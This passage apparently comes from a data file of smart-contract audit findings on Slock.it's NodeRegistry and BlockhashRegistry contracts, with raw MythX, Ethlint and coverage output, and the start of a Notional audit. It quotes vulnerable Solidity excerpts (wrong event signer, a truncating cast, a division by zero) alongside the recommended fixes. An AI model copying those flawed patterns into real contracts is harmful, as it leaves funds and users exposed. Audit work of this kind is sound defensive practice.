urlIndex[newURl] = ui; node.url = _url; Furthermore, the method emits a LogNodeRegistered event when the node structure is updated. However, the event will always emit msg.sender as the signer even though that might not be true. For example, if the url does not change, the signer can still be another account that was previously registered with registerNodeFor and is not necessarily the owner. code/in3-contracts/contracts/NodeRegistry.sol:L473-L478 emit LogNodeRegistered( node.url, _props, msg.sender, node.deposit ); code/in3-contracts/contracts/NodeRegistry.sol:L30-L30 event LogNodeRegistered(string url, uint props, address signer, uint deposit); Recommendation The updateNode() function gets the signer as an input used to reference the node structure and this signer should be set for the UrlInformation. function updateNode( address _signer, string calldata _url, uint64 _props, uint64 _timeout, uint64 _weight The method should actually only allow to change node properties when owner==signer otherwise updateNode is bypassing the strict requirements enforced with registerNodeFor where e.g. the url needs to be signed by the signer in order to register it. The emitted event should always emit node.signer instead of msg.signer which can be wrong. The method should emit its own distinct event LogNodeUpdated for audit purposes and to be able to distinguish new node registrations from node structure updates. This might also require software changes to client/node implementations to listen for node updates. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.21 NodeRegistry - In3Node memory n is never used ", "body": " Resolution Fixed by removing the modifier and move the node-signer check to functions in f1fd7943 Description NodeRegistry In3Node memory n is never used inside the modifier onlyActiveState. code/in3-contracts/contracts/NodeRegistry.sol:L125-L133 modifier onlyActiveState(address _signer) { SignerInformation memory si = signerIndex[_signer]; require(si.stage == Stages.Active, \"address is not an in3-signer\"); In3Node memory n = nodes[si.index]; assert(nodes[si.index].signer == _signer); _; Recommendation Use n in the assertion to access the node signer assert(n.signer == _signer); or directly access it from storage and avoid copying the struct. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.22 NodeRegistry - returnDeposit and transferOwnership should emit an event ", "body": " Resolution Fixed in f1fd7943 by adding new events ( Description Important state changing functions should emit an event for the purpose of having an audit trail and being able to monitor the smart contract usage and performance. Recommendation Emit events for returnDeposit and transferOwnership. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.23 in3-server - in3_stats leaks information ", "body": " Resolution There is a config-option Description in3_stat shows information from node activities in the currentMonth, currentDay, currentHour which can result in leaking information about the functionality that node is being used for. This information might be valuable when an attacker wants to find out how utilized a node is and if any reflection attacks are successful (https://github.com/ConsenSys/slockit-in3-audit-2019-09/issues/50). Examples 'profile': AttributeDict({ 'name': 'Slockit2', 'icon': 'https://slock.it/assets/slock_logo.png', 'url': 'https://slock.it' }), 'stats': Attr ibuteDict({ 'upSince': 1568400626355, 'currentMonth': AttributeDict({ 'requests': 47618, 'lastRequest': 1569422025347, 'methods': AttributeDict({ 'nd-2': 2, 'eth_call': 940, 'eth_blockNumber': 25, 'eth_getBlockByNumber': 45395, 'web3_clientVersion': 386, 'admin_datadir': 7, 'admin_peers': 11, 'shh_version': 7, 'shh_info': 14, 'admin_nodeInfo ': 9, ' txpool_status ': 9, ' personal_listAccounts ': 3, ' eth_chainId ': 12, ' eth_protocolVersion ': 6, ' net_listening ': 6, ' net_peerCount ': 6, ' eth_syncing ': 6, 'eth_mining': 6, 'eth_hashrate': 6, 'eth_gasPrice': 18, 'eth_coinbase': 44, 'eth_accounts': 54, 'eth_getBalance': 321, 'personal_unlockAccount': 61, 'personal_ importRawKey ': 5, ' personal_newAccount ': 8, ' eth_estimateGas ': 16, ' eth_sendRawTransaction ': 9, ' eth_getTransactionReceipt ': 49, ' in3_sign ': 59, ' eth_getCode ': 33, 'eth_getTransactionCount': 15, 'eth_getLogs': 8, 'in3_stats': 16, 'in3_validatorlist': 15, 'in3_nodeList': 15, 'in3_call': 15, 'proof_in3_sign': 1 }) }), 'currentDay': AttributeDict({ 'requests': 144, 'lastRequest': 1569422025347, 'methods': AttributeDict({ 'eth_getBlockByNumber': 135, 'web3_clientVersion': 6, 'eth_coinbase': 1, 'eth_accounts': 1, 'in3_stats': 1 }) }), 'currentHour': AttributeDict({ 'requests': 144, 'lastRequest': 1569422025346, 'methods': AttributeDict({ 'eth_getBlockByNumber': 135, 'web3_clientVersion': 6, 'eth_coinbase': 1, 'eth_accounts': 1, 'in3_stats': 1 }) }) }) Recommendation Make sure if this information is needed, if not enable it just for debugging purposes. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.24 NodeRegistry - removeNode unnecessarily casts the nodeIndex to uint64 potentially truncating its value ", "body": " Resolution Fixed as per recommendation https://git.slock.it/in3/in3-contracts/commit/6c35dd422e27eec1b1d2f70e328268014cadb515. Description removeNode removes a node from the Nodes array. This is done by copying the last node of the array to the _nodeIndex of the node that is to be removed. Finally the node array size is decreased. A Node s index is also referenced in the SignerInformation struct. This index needs to be adjusted when removing a node from the array as the last node is copied to the index of the node that is to be removed. code/in3-contracts/contracts/NodeRegistry.sol:L60-L69 struct SignerInformation { uint64 lockedTime; /// timestamp until the deposit of an in3-node can not be withdrawn after the node was removed address owner; /// the owner of the node Stages stage; /// state of the address uint depositAmount; /// amount of deposit to be locked, used only after a node had been removed uint index; /// current index-position of the node in the node-array code/in3-contracts/contracts/NodeRegistry.sol:L614-L620 // move the last entry to the removed one. In3Node memory m = nodes[length - 1]; nodes[_nodeIndex] = m; SignerInformation storage si = signerIndex[m.signer]; si.index = uint64(_nodeIndex); nodes.length--; Recommendation Do not cast and therefore truncate the index. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.25 Registries - general inconsistencies Pending", "body": " Resolution The breakdown of the fixes are as follows: NodeRegistry - check for addr(0) being passed. This is anyway only done in the constructor and will not require a lot of gas. The proper checks for registry addresses are added in 4786a966. NodeRregistry - unnecessary payable Removed payable modifier everywhere, as ERC20 support is added to the system. ERC20 support is not part of this audit. NodeRegistry - deposit checks can be combined into one function to make the code more readable. The min deposit amount could be exposed as public const to allow other entities to query the contracts minimum deposit similar to the max ether amount. MAX_ETHER_LIMIT should make clear that this limit is only applicable in the first year (e.g. MAX_ETHER_LIMIT_FIRST_YEAR) . Fixed and variables renamed. NodeRegistry - require(si.owner == msg.sender) can be checked before accessing the nodes array Added proper checks in c9e75b35. NodeRegistry - removeNode resets index to a valid node array index of 0. Even though the code will access the index it is good practice to set this to an invalid value to make sure it raises an error condition if it is wrongly accessed in a future revision of the code. This is mainly a safeguard. Another option is to invalidate the 0 index. Although the index is not set to 0, this issue is not yet fixed (Follow up here). NodeRegistry - implicitly set defaults are hard to maintain. This should be a constant state variable that can be queried to be transparent about minimum and maximum values. Prefer throwing an exception instead of automatically setting the value to a minimum as this might be unexpected by a client and can cover error conditions. timeout has been removed, so this is obsolete as it is not in the new code anymore. NodeRegistry - one year startup period: instead of storing the deployment timestamp the contract should store the end-of-admin-timestamp. Fixed as recommended timestampAdminKeyActive = block.timestamp + YEAR_DEFINITION; NodeRegistry - inefficient re-calculation of hash Fixed (issues/16). NodeRegistry - weight should be part of proofHash Added in 9fa5548d. NodeRegistry - updateNode if the new timeout is smaller than the current timeout it will silently be ignored. This may be unexpected by the caller and cover error conditions where a client provides wrong inputs. Raising an exception should be preferred in such cases instead of gracefully assuming values. Fixed by removing timeout variable (issues/16). NodeRegistry - admin functionality should be clearly named as such for transparency reasons (e.g. adminRemovenodeFromRegistry) . Renamed all admin function in both contracts with prefix admin. Description NodeRegistry - check for addr(0) being passed. This is anyway only done in the constructor and will not require a lot of gas. code/in3-contracts/contracts/NodeRegistry.sol:L138-L139 constructor(BlockhashRegistry _blockRegistry) public { blockRegistry = _blockRegistry; NodeRregistry - unnecessary payable code/in3-contracts/contracts/NodeRegistry.sol:L535-L535 address payable _owner, NodeRegistry - deposit checks can be combined into one function to make the code more readable. The min deposit amount could be exposed as public const to allow other entities to query the contracts minimum deposit similar to the max ether amount. MAX_ETHER_LIMIT should make clear that this limit is only applicable in the first year (e.g. MAX_ETHER_LIMIT_FIRST_YEAR) . code/in3-contracts/contracts/NodeRegistry.sol:L543-L545 require(_deposit >= 10 finney, \"not enough deposit\"); checkNodeProperties(_deposit, _timeout); code/in3-contracts/contracts/NodeRegistry.sol:L120-L120 uint constant internal MAX_ETHER_LIMIT = 50 ether; NodeRegistry - require(si.owner == msg.sender) can be checked before accessing the nodes array code/in3-contracts/contracts/NodeRegistry.sol:L402-L404 SignerInformation storage si = signerIndex[_signer]; In3Node memory n = nodes[si.index]; require(si.owner == msg.sender, \"only for the in3-node owner\"); NodeRegistry - removeNode resets index to a valid node array index of 0. Even though the code will access the index it is good practice to set this to an invalid value to make sure it raises an error condition if it is wrongly accessed in a future revision of the code. This is mainly a safeguard. Another option is to invalidate the 0 index. code/in3-contracts/contracts/NodeRegistry.sol:L612-L612 signerIndex[nodes[_nodeIndex].signer].index = 0; NodeRegistry - implicitly set defaults are hard to maintain. This should be a constant state variable that can be queried to be transparent about minimum and maximum values. Prefer throwing an exception instead of automatically setting the value to a minimum as this might be unexpected by a client and can cover error conditions. code/in3-contracts/contracts/NodeRegistry.sol:L565-L565 m.timeout = _timeout > 1 hours ? _timeout : 1 hours; NodeRegistry - one year startup period: instead of storing the deployment timestamp the contract should store the end-of-admin-timestamp. code/in3-contracts/contracts/NodeRegistry.sol:L256-L256 require(block.timestamp < (blockTimeStampDeployment + YEAR_DEFINITION), \"only in 1st year\");// solhint-disable-line not-rely-on-time NodeRegistry - inefficient re-calculation of hash code/in3-contracts/contracts/NodeRegistry.sol:L438-L441 if (newURl != keccak256(bytes(node.url))) { // deleting the old entry delete urlIndex[keccak256(bytes(node.url))]; NodeRegistry - weight should be part of proofHash code/in3-contracts/contracts/NodeRegistry.sol:L490-L502 function calcProofHash(In3Node memory _node) internal pure returns (bytes32) { return keccak256( abi.encodePacked( _node.deposit, _node.timeout, _node.registerTime, _node.props, _node.signer, _node.url ); NodeRegistry - updateNode if the new timeout is smaller than the current timeout it will silently be ignored. This may be unexpected by the caller and cover error conditions where a client provides wrong inputs. Raising an exception should be preferred in such cases instead of gracefully assuming values. code/in3-contracts/contracts/NodeRegistry.sol:L463-L465 if (_timeout > node.timeout) { node.timeout = _timeout; NodeRegistry - admin functionality should be clearly named as such for transparency reasons (e.g. adminRemovenodeFromRegistry) . ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.26 BlockhashRegistry- assembly code can be optimized ", "body": " Resolution Fixed as per recommendation with https://git.slock.it/in3/in3-contracts/commit/87f02a7c4f5c30d2b4be42f331c1306e85d42ca6. Description The following code can be optimized by removing mload and mstore: code/in3-contracts/contracts/BlockhashRegistry.sol:L106-L125 require(first > 0xf7, \"invalid offset\"); uint8 offset = first - 0xf7 + 2; /// we are using assembly because it's the most efficent way to access the parent blockhash within the rlp-encoded blockheader // solium-disable-next-line security/no-inline-assembly assembly { // solhint-disable-line no-inline-assembly // mstore to get the memory pointer of the blockheader to 0x20 mstore(0x20, _blockheader) // we load the pointer we just stored // then we add 0x20 (32 bytes) to get to the start of the blockheader // then we add the offset we calculated // and load it to the parentHash variable parentHash :=mload( add( add( mload(0x20), 0x20 ), offset) Recommendation assembly { // solhint-disable-line no-inline-assembly // mstore to get the memory pointer of the blockheader to 0x20 //mstore(0x20, _blockheader) //@audit should assign 0x20ptr to variable first and use it. // we load the pointer we just stored // then we add 0x20 (32 bytes) to get to the start of the blockheader // then we add the offset we calculated // and load it to the parentHash variable parentHash :=mload( add( add( _blockheader, 0x20 ), offset) ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.27 Experimental Compiler features are enabled - ABIEncoderV2 ", "body": " Resolution This issue has been addressed with the following statement: In order to pass structs between contracts we need that new ABIEncoder. [..] The old NodeRegistry did not require the ABIEncoderV2. [..] But due to the separation of the contracts in Logic and Data we are passing certain data-structures between contracts. Description The smart contracts enable experimental compiler features. Please note that these features are experimental for a reason and should be avoided unless explicitly required. code/in3-contracts/contracts/BlockhashRegistry.sol:L21-L21 pragma experimental ABIEncoderV2; Seems that NodeRegistry does not require any ABIEncoderV2 specific functionality. code/in3-contracts/contracts/NodeRegistry.sol:L21-L21 pragma experimental ABIEncoderV2; ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.28 BlockhashRegistry - recreateBlockheaders() should use the evm provided blockhash when applicable Pending", "body": " Resolution The provided code-change at 79fa3ef1 is not addressing the raised concerns. As noted in the recommendation it is suggested to completely skip the recreation routine if the target blockhash (_blockNumber.sub(_blockheaders.length)) is available to the evm. The method should call saveBlockNumber(_blockNumber) instead. The commit attempts to add a verification for extracted blockhashes from the user provided RLP data if the blockhash for the block is available. However, the variable name currentBlock is misleading making it hard to follow the authors intent. Description There are different levels of trust attached to blockhashes stored in the BlockhashRegistry. On one side there are blockhashes which data-source is the evm ( blockhash(blocknumber)) and on the other side there are blockhashes that have been fed into the system by recalculating block-headers and establishing a trust chain to an already existing blockhash in the contract. While the contract can trust the result of blockhash(blocknumber) for the most recent 256 blocks because the information is coming directly from the evm, blockhashes that are re-created by calling recreateBlockheaders are manually verified and trust relies on the proper validation of the chain of block-headers provided. Side-effect: Also saves gas by avoiding unnecessary calculations within the recreateBlockheaders() codepath as blockhash is already available via evm. Recommendation recreateBlockheaders() should prefer to use blockhash(number) by calling saveBlockNumber() instead of re-calculating the blockhash from the user provided chain of blockheaders, if the blockhash can easily be accessed by the evm (most recent 256 blocks, except current block). Check if _blockheaders.length > 0 && _blockNumber.sub(_blockheaders.length) < block.number-256. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.29 BlockhashRegistry - Existing blockhashes can be overwritten ", "body": " Resolution Addressed with 80bb6ecf and 17d450cf by checking if blockhash exists and changing the Description Last 256 blocks, that are available in the EVM environment, are stored in BlockhashRegistry by calling snapshot() or saveBlockNumber(uint _blockNumber) functions. Older blocks are recreated by calling recreateBlockheaders. The methods will overwrite existing blockhashes. code/in3-contracts/contracts/BlockhashRegistry.sol:L79-L87 function saveBlockNumber(uint _blockNumber) public { bytes32 bHash = blockhash(_blockNumber); require(bHash != 0x0, \"block not available\"); blockhashMapping[_blockNumber] = bHash; emit LogBlockhashAdded(_blockNumber, bHash); code/in3-contracts/contracts/BlockhashRegistry.sol:L72 blockhashMapping[bnr] = calculatedHash; Recommendation If a block is already saved in the smart contract, it can be checked and a SSTORE can be prevented to save gas. Require that blocknumber hash is not stored. require(blockhashMapping[_blockNumber] == 0x0, \"block already saved\"); 7 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "7.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. Below is the raw output of the MythX vulnerability scan: \"issues\": [ \"swcID\": \"SWC-127\", \"swcTitle\": \"\", \"description\": { \"head\": \"jump to arbitrary destination\", \"tail\": \"A caller can trigger a jump to an arbitrary destination. Make sure this does not enable unintended control flow.\" }, \"severity\": \"High\", \"locations\": [ \"sourceMap\": \"20901:1:1\", \"sourceType\": \"raw-bytecode\", \"sourceFormat\": \"evm-byzantium-bytecode\", \"sourceList\": [ \"0x63ad5e3d2c8551cf64f6d0425940efdeb79801907fcad157d1c82922919c13cb\", \"0xd8d70c0998b3293c364b1cde922c80081d70d02726e74091c8aae6fa6a10b892\" }, \"sourceMap\": \"23263:248:-1\", \"sourceType\": \"solidity-file\", \"sourceFormat\": \"text\", \"sourceList\": [ \"NodeRegistry.sol\" ], \"extra\": { \"discoveryTime\": 5593089348, \"testCases\": [ \"initialState\": { \"accounts\": { \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\": { \"nonce\": 0, \"balance\": \"0x00000000000000000000000000000000000000ffffffffffffffffffffffffff\", \"code\": \"\", \"storage\": {} }, \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1\": { \"nonce\": 1, \"balance\": \"0x0000000000000000000000000000000000000000000000000000000000000000\", \"code\": \"\", \"storage\": {} }, \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa2\": { \"nonce\": 1, \"balance\": \"0x00000000000000000000000000000000000000ffffffffffffffffffffffffff\", \"code\": \"\", \"storage\": {} }, \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3\": { \"nonce\": 1, \"balance\": \"0x00000000000000000000000000000000000000ffffffffffffffffffffffffff\", \"code\": \"0x00\", \"storage\": {} }, \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4\": { \"nonce\": 1, \"balance\": \"0x00000000000000000000000000000000000000ffffffffffffffffffffffffff\", \"code\": \"0xfd\", \"storage\": {} }, \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa5\": { \"nonce\": 1, \"balance\": \"0x00000000000000000000000000000000000000ffffffffffffffffffffffffff\", \"code\": \"0x608060405260005600a165627a7a72305820466f8a1bdae15c60b8e998fe04836ef505803cfbd8edd29bd4679531357576530029\", \"storage\": {} }, \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa6\": { \"nonce\": 1, \"balance\": \"0x00000000000000000000000000000000000000ffffffffffffffffffffffffff\", \"code\": \"0x608060405273aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa63081146038578073ffffffffffffffffffffffffffffffffffffffff16ff5b5000fea165627a7a723058205e8b906b72ad42c69b05acf4542283b6080ae82562bc74baac467daac2fb0e0e0029\", \"storage\": {} }, \"0xaffeaffeaffeaffeaffeaffeaffeaffeaffeaffe\": { \"nonce\": 0, \"balance\": \"0x0000000000000000000000000000000000ffffffffffffffffffffffffffffff\", \"code\": \"\", \"storage\": {} }, \"steps\": [ \"address\": \"\", \"gasLimit\": \"0xffffff\", \"gasPrice\": \"0x773594000\", \"input\": REMOVED, \"origin\": \"0xaffeaffeaffeaffeaffeaffeaffeaffeaffeaffe\", \"value\": \"0x0\", \"blockCoinbase\": \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\", \"blockDifficulty\": \"0xa7d7343662e26\", \"blockGasLimit\": \"0xffffff\", \"blockNumber\": \"0x661a55\", \"blockTime\": \"0x5be99aa8\" }, \"address\": \"0x0901d12ebe1b195e5aa8748e62bd7734ae19b51f\", \"gasLimit\": \"0x7d00\", \"gasPrice\": \"0x773594000\", \"input\": \"0xac48987300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\", \"origin\": \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\", \"value\": \"0x9\", \"blockCoinbase\": \"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\", \"blockDifficulty\": \"0x52c054bfb494c\", \"blockGasLimit\": \"0x7d0000\", \"blockNumber\": \"0x661a55\", \"blockTime\": \"0x5be99aa8\" ], \"toolName\": \"harvey\" }, \"swcID\": \"SWC-120\", \"swcTitle\": \"Weak Sources of Randomness from Chain Attributes\", \"description\": { \"head\": \"Potential use of a weak source of randomness \\\"blockhash\\\".\", \"tail\": \"Using past or the current block hashes through \\\"blockhash\\\" as a source of randomness is predictable. The issue can be ignored if this is unrelated to randomness or if the usage is related to a secure implementation of a commit/reveal scheme.\" }, \"severity\": \"Medium\", \"locations\": [ \"sourceMap\": \"6746:25:0\", \"sourceType\": \"solidity-file\", \"sourceFormat\": \"text\", \"sourceList\": [ \"NodeRegistry.sol\" ], \"extra\": { \"discoveryTime\": 1666071716, \"toolName\": \"maru\" }, \"swcID\": \"SWC-120\", \"swcTitle\": \"Weak Sources of Randomness from Chain Attributes\", \"description\": { \"head\": \"Potential use of a weak source of randomness \\\"blockhash\\\".\", \"tail\": \"Using past or the current block hashes through \\\"blockhash\\\" as a source of randomness is predictable. The issue can be ignored if this is unrelated to randomness or if the usage is related to a secure implementation of a commit/reveal scheme.\" }, \"severity\": \"Medium\", \"locations\": [ \"sourceMap\": \"13158:23:0\", \"sourceType\": \"solidity-file\", \"sourceFormat\": \"text\", \"sourceList\": [ \"NodeRegistry.sol\" ], \"extra\": { \"discoveryTime\": 1666159516, \"toolName\": \"maru\" }, \"swcID\": \"SWC-120\", \"swcTitle\": \"Weak Sources of Randomness from Chain Attributes\", \"description\": { \"head\": \"Potential use of a weak source of randomness \\\"block.number\\\".\", \"tail\": \"Using past or the current block hashes through \\\"block.number\\\" as a source of randomness is predictable. The issue can be ignored if this is unrelated to randomness or if the usage is related to a secure implementation of a commit/reveal scheme.\" }, \"severity\": \"Medium\", \"locations\": [ \"sourceMap\": \"6756:12:0\", \"sourceType\": \"solidity-file\", \"sourceFormat\": \"text\", \"sourceList\": [ \"NodeRegistry.sol\" ], \"extra\": { \"discoveryTime\": 1666984722, \"toolName\": \"maru\" }, \"swcID\": \"SWC-120\", \"swcTitle\": \"Weak Sources of Randomness from Chain Attributes\", \"description\": { \"head\": \"Potential use of a weak source of randomness \\\"block.number\\\".\", \"tail\": \"Using past or the current block hashes through \\\"block.number\\\" as a source of randomness is predictable. The issue can be ignored if this is unrelated to randomness or if the usage is related to a secure implementation of a commit/reveal scheme.\" }, \"severity\": \"Medium\", \"locations\": [ \"sourceMap\": \"7532:12:0\", \"sourceType\": \"solidity-file\", \"sourceFormat\": \"text\", \"sourceList\": [ \"NodeRegistry.sol\" ], \"extra\": { \"discoveryTime\": 1667012822, \"toolName\": \"maru\" }, \"swcID\": \"SWC-120\", \"swcTitle\": \"Weak Sources of Randomness from Chain Attributes\", \"description\": { \"head\": \"Potential use of a weak source of randomness \\\"block.number\\\".\", \"tail\": \"Using past or the current block hashes through \\\"block.number\\\" as a source of randomness is predictable. The issue can be ignored if this is unrelated to randomness or if the usage is related to a secure implementation of a commit/reveal scheme.\" }, \"severity\": \"Medium\", \"locations\": [ \"sourceMap\": \"13711:12:0\", \"sourceType\": \"solidity-file\", \"sourceFormat\": \"text\", \"sourceList\": [ \"NodeRegistry.sol\" ], \"extra\": { \"discoveryTime\": 1667019122, \"toolName\": \"maru\" ], \"sourceType\": \"raw-bytecode\", \"sourceFormat\": \"evm-byzantium-bytecode\", \"sourceList\": [ \"0x63ad5e3d2c8551cf64f6d0425940efdeb79801907fcad157d1c82922919c13cb\", \"0xd8d70c0998b3293c364b1cde922c80081d70d02726e74091c8aae6fa6a10b892\" ], \"meta\": { \"selectedCompiler\": \"Unknown\", \"logs\": [], \"toolName\": \"maru\", \"coveredPaths\": 91, \"coveredInstructions\": 7058 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "7.2 Ethlint", "body": " Ethlint is an open source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: contracts/BlockhashRegistry.sol 21:0 warning Avoid using experimental features in production code no-experimental 46:12 warning Line exceeds the limit of 145 characters max-len 61:1 error Line contains trailing whitespace no-trailing-whitespace 79:4 warning Line exceeds the limit of 145 characters max-len 81:1 error Line contains trailing whitespace no-trailing-whitespace 98:4 warning Line exceeds the limit of 145 characters max-len 134:4 warning Line exceeds the limit of 145 characters max-len 142:1 error Line contains trailing whitespace no-trailing-whitespace contracts/NodeRegistry.sol 21:0 warning Avoid using experimental features in production code no-experimental 117:1 error Line contains trailing whitespace no-trailing-whitespace 123:1 error Line contains trailing whitespace no-trailing-whitespace 128:8 warning Line exceeds the limit of 145 characters max-len 143:1 error Line contains trailing whitespace no-trailing-whitespace 143:8 warning Line exceeds the limit of 145 characters max-len 152:1 error Line contains trailing whitespace no-trailing-whitespace 152:4 warning Line exceeds the limit of 145 characters max-len 197:1 error Line contains trailing whitespace no-trailing-whitespace 200:1 error Line contains trailing whitespace no-trailing-whitespace 215:1 error Line contains trailing whitespace no-trailing-whitespace 224:1 error Line contains trailing whitespace no-trailing-whitespace 324:1 error Line contains trailing whitespace no-trailing-whitespace 342:1 error Line contains trailing whitespace no-trailing-whitespace 448:1 error Line contains trailing whitespace no-trailing-whitespace 555:2 error Line contains trailing whitespace no-trailing-whitespace 555:8 warning Line exceeds the limit of 145 characters max-len 568:1 error Line contains trailing whitespace no-trailing-whitespace 571:1 error Line contains trailing whitespace no-trailing-whitespace 602:1 error Line contains trailing whitespace no-trailing-whitespace 615:1 error Line contains trailing whitespace no-trailing-whitespace \u2716 19 errors, 10 warnings found. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "7.3 Surya", "body": " Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: Function Name Visibility Mutability Modifiers NodeRegistry Implementation Public convict External NO registerNode External NO registerNodeFor External NO removeNodeFromRegistry External onlyActiveState returnDeposit External NO revealConvict External NO transferOwnership External onlyActiveState unregisteringNode External onlyActiveState updateNode External onlyActiveState totalNodes External NO calcProofHash Internal \ud83d\udd12 checkNodeProperties Internal \ud83d\udd12 registerNodeInternal Internal \ud83d\udd12 unregisterNodeInternal Internal \ud83d\udd12 removeNode Internal \ud83d\udd12 BlockhashRegistry Implementation Public searchForAvailableBlock External NO recreateBlockheaders Public NO saveBlockNumber Public NO snapshot Public NO getParentAndBlockhash Public NO reCalculateBlockheaders Public NO Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "7.4 Other Tools", "body": " Other security tools such as Slither was also used to identify problems in the smart contract. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "7.5 Test Coverage", "body": " Code coverage metrics indicate the amount of lines/statements/branches that are covered by the test-suite. It s important to note that 100% test coverage does not indicate the code has no vulnerabilities. Be aware that code coverage does not provide information about the individual test-cases quality. A fork of the Solidity-Coverage tool was used to measure the portion of the code base exercised by the test suite, and identify areas with little or no coverage. Specific sections of the code where necessary test coverage is missing are included in the Issue Details section. The project is using the automated testing framework provided by Truffle. The test-suite is evaluating 62 individual tests and the test-suite passed without errors. The corresponding console output can be found here. A code coverage report was generated and is provided along other tool output. The test coverage results for NodeRegistry.sol can be viewed here. The test coverage results for BlockhashRegistry.sol can be viewed here. Please find a summary of the coverage results below. BlockhashRegistry.sol 100% 30/30 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "92.86%", "body": " 13/14 100% 7/7 100% 31/31 NodeRegistry.sol 100% 123/123 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "95.45%", "body": " 63/66 100% 17/17 100% 129/129 ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "2.1 Accounts that claim incentives immediately before the migration will be stuck ", "body": " Description For accounts that existed before the migration to the new incentive calculation, the following happens when they claim incentives for the first time after the migration: First, the incentives that are still owed from before the migration are computed according to the old formula; the incentives since the migration are calculated according to the new logic, and the two values are added together. The first part calculating the pre-migration incentives according to the old formula happens in function MigrateIncentives.migrateAccountFromPreviousCalculation; the following lines are of particular interest in the current context: code-582dc37/contracts/external/MigrateIncentives.sol:L39-L50 uint256 timeSinceMigration = finalMigrationTime - lastClaimTime; // (timeSinceMigration * INTERNAL_TOKEN_PRECISION * finalEmissionRatePerYear) / YEAR uint256 incentiveRate = timeSinceMigration .mul(uint256(Constants.INTERNAL_TOKEN_PRECISION)) // Migration emission rate is stored as is, denominated in whole tokens .mul(finalEmissionRatePerYear).mul(uint256(Constants.INTERNAL_TOKEN_PRECISION)) .div(Constants.YEAR); // Returns the average supply using the integral of the total supply. uint256 avgTotalSupply = finalTotalIntegralSupply.sub(lastClaimIntegralSupply).div(timeSinceMigration); The division in the last line will throw if finalMigrationTime and lastClaimTime are equal. This will happen if an account claims incentives immediately before the migration happens where immediately means in the same block. In such a case, the account will be stuck as any attempt to claim incentives will revert. Recommendation The function should return 0 if finalMigrationTime and lastClaimTime are equal. Moreover, the variable name timeSinceMigration is misleading, as the variable doesn t store the time since the migration but the time between the last incentive claim and the migration. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/03/notional-protocol-v2.1/"}, {"title": "2.2 type(T).max is inclusive ", "body": " Description Throughout the codebase, there are checks whether a number can be represented by a certain type. Examples code-582dc37/contracts/internal/nToken/nTokenSupply.sol:L71 require(accumulatedNOTEPerNToken < type(uint128).max); // dev: accumulated NOTE overflow code-582dc37/contracts/internal/nToken/nTokenSupply.sol:L134 require(blockTime < type(uint32).max); // dev: block time overflow code-582dc37/contracts/external/patchfix/MigrateIncentivesFix.sol:L86-L87 require(totalSupply <= type(uint96).max); require(blockTime 